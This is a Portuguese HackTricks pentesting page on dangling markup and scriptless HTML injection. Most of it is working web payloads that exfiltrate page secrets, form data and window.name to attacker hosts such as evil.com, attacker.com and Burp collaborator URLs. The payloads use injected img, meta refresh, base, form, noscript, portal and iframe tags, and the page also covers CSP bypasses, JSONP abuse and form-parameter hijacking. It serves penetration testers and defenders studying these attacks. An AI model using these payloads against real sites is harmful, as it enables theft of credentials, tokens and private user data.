hacktricks/pentesting-web/dangling-markup-html-scriptless-injection.md
2024-12-12 13:56:11 +01:00

15 KiB
Raw Blame History

Dangling Markup - Injeção HTML sem script

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Resumo

Esta técnica pode ser usada para extrair informações de um usuário quando uma injeção HTML é encontrada. Isso é muito útil se você não encontrar nenhuma maneira de explorar um XSS mas você pode injetar algumas tags HTML.
Também é útil se algum segredo é salvo em texto claro no HTML e você deseja exfiltrá-lo do cliente, ou se você deseja enganar a execução de algum script.

Várias técnicas comentadas aqui podem ser usadas para contornar algumas Políticas de Segurança de Conteúdo exfiltrando informações de maneiras inesperadas (tags html, CSS, http-meta tags, formulários, base...).

Principais Aplicações

Roubo de segredos em texto claro

Se você injetar <img src='http://evil.com/log.cgi? quando a página for carregada, a vítima enviará para você todo o código entre a tag img injetada e a próxima aspa dentro do código. Se um segredo estiver localizado de alguma forma nesse trecho, você o roubará (você pode fazer a mesma coisa usando uma aspa dupla, veja qual pode ser mais interessante de usar).

Se a tag img for proibida (devido a CSP, por exemplo), você também pode usar <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Observe que o Chrome bloqueia URLs HTTP com "<" ou "\n", então você pode tentar outros esquemas de protocolo como "ftp".

Você também pode abusar do @import do CSS (enviará todo o código até encontrar um ";").

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Você também pode usar <table:

<table background='//your-collaborator-id.burpcollaborator.net?'

Você também pode inserir uma tag <base>. Todas as informações serão enviadas até que a citação seja fechada, mas isso requer alguma interação do usuário (o usuário deve clicar em algum link, porque a tag base terá alterado o domínio apontado pelo link):

<base target='        <--- Injected
steal me'<b>test</b>

Roubo de formulários

<base href='http://evil.com/'>

Então, os formulários que enviam dados para um caminho (como <form action='update_profile.php'>) enviarão os dados para o domínio malicioso.

Roubo de formulários 2

Defina um cabeçalho de formulário: <form action='http://evil.com/log_steal'> isso sobrescreverá o próximo cabeçalho do formulário e todos os dados do formulário serão enviados para o atacante.

Roubo de formulários 3

O botão pode alterar o URL para onde as informações do formulário serão enviadas com o atributo "formaction":

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Um atacante pode usar isso para roubar informações.

Roubo de segredos em texto claro 2

Usando a técnica mencionada anteriormente para roubar formulários (injetando um novo cabeçalho de formulário), você pode então injetar um novo campo de entrada:

<input type='hidden' name='review_body' value="

e este campo de entrada conterá todo o conteúdo entre suas aspas duplas e as próximas aspas duplas no HTML. Este ataque mistura "Roubo de segredos de texto claro" com "Roubo de formulários2".

Você pode fazer a mesma coisa injetando um formulário e uma tag <option>. Todos os dados até que um </option> fechado seja encontrado serão enviados:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Injeção de parâmetro de formulário

Você pode alterar o caminho de um formulário e inserir novos valores para que uma ação inesperada seja executada:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user' 
  value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Roubo de segredos em texto claro via noscript

<noscript></noscript> é uma tag cujo conteúdo será interpretado se o navegador não suportar javascript (você pode habilitar/desabilitar o Javascript no Chrome em chrome://settings/content/javascript).

Uma maneira de exfiltrar o conteúdo da página da web do ponto de injeção até o final para um site controlado pelo atacante será injetando isso:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Bypassando CSP com interação do usuário

A partir desta pesquisa da PortSwiggers, é possível aprender que mesmo nos ambientes mais restritos pelo CSP, ainda é possível extrair dados com alguma interação do usuário. Nesta ocasião, vamos usar o payload:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Observe que você pedirá à vítima que clique em um link que o redirecionará para um payload controlado por você. Observe também que o atributo target dentro da tag base conterá conteúdo HTML até a próxima aspa simples.
Isso fará com que o valor de window.name seja todo esse conteúdo HTML quando o link for clicado. Portanto, como você controla a página onde a vítima está acessando ao clicar no link, você pode acessar esse window.name e extrair esses dados:

<script>
if(window.name) {
    new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Fluxo de script enganoso 1 - Ataque de namespace HTML

Insira uma nova tag com um id dentro do HTML que irá sobrescrever a próxima e com um valor que afetará o fluxo de um script. Neste exemplo, você está selecionando com quem uma informação será compartilhada:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
  ...
  request.share_with = document.getElementById('share_with').value;
  ...
}

Fluxo de script enganoso 2 - Ataque de namespace de script

Crie variáveis dentro do namespace do javascript inserindo tags HTML. Em seguida, essa variável afetará o fluxo da aplicação:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
  ...
  if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
    is_public = true;
  else
    is_public = false;
}

function submit_new_acls() {
  ...
  if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
  ...
}

Abuso de JSONP

Se você encontrar uma interface JSONP, poderá chamar uma função arbitrária com dados arbitrários:

<script src='/editor/sharing.js'>:              ← Legitimate script
  function set_sharing(public) {
    if (public) request.access_mode = AM_PUBLIC;
      else request.access_mode = AM_PRIVATE;
    ...
  }

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
  set_sharing({ ... })

Ou você pode tentar executar algum javascript:

<script src='/search?q=a&call=alert(1)'></script>

Abuso de Iframe

Observe que um documento filho pode visualizar e definir a propriedade de localização do pai, mesmo que seja de origem cruzada. Isso significa que você pode fazer com que o cliente acesse qualquer outra página carregando dentro de um iframe algum código como:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Isso pode ser mitigado com algo como: sandbox= allow-scripts allow-top-navigation

Um iframe também pode ser explorado para vazar informações sensíveis de uma página diferente usando o atributo de nome do iframe. Isso ocorre porque você pode criar um iframe que se auto-iframe abusando da injeção de HTML que faz com que as informações sensíveis apareçam dentro do atributo de nome do iframe e, em seguida, acessar esse nome do iframe inicial e vazá-lo.

<script>
    function cspBypass(win) {
        win[0].location = 'about:blank';
        setTimeout(()=>alert(win[0].name), 500); 
    }
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

Para mais informações, consulte https://portswigger.net/research/bypassing-csp-with-dangling-iframes

Abuso de <meta

Você pode usar meta http-equiv para realizar várias ações como definir um Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> ou realizar um redirecionamento (em 5s neste caso): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Isso pode ser evitado com um CSP em relação ao http-equiv (Content-Security-Policy: default-src 'self';, ou Content-Security-Policy: http-equiv 'self';)

Novo tag HTML <portal>

Você pode encontrar uma pesquisa muito interessante sobre vulnerabilidades exploráveis da tag <portal> aqui.
No momento em que este texto foi escrito, você precisa habilitar a tag portal no Chrome em chrome://flags/#enable-portals ou ela não funcionará.

<portal src='https://attacker-server?

Vazamentos de HTML

Nem todas as maneiras de vazar conectividade em HTML serão úteis para o Dangling Markup, mas às vezes pode ajudar. Verifique aqui: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

XS-Search é orientado para exfiltrar informações de origem cruzada abusando de ataques de canal lateral. Portanto, é uma técnica diferente do Dangling Markup, no entanto, algumas das técnicas abusam da inclusão de tags HTML (com e sem execução JS), como Injeção de CSS ou Carregamento Lento de Imagens.

{% content-ref url="xs-search.md" %} xs-search.md {% endcontent-ref %}

Lista de Detecção de Força Bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

Referências

Todas as técnicas apresentadas aqui e mais podem ser revisadas com mais detalhes em:

{% embed url="http://lcamtuf.coredump.cx/postxss/" %}

Outras tags HTML que podem ser abusadas podem ser encontradas aqui:

{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}

Mais informações:

{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥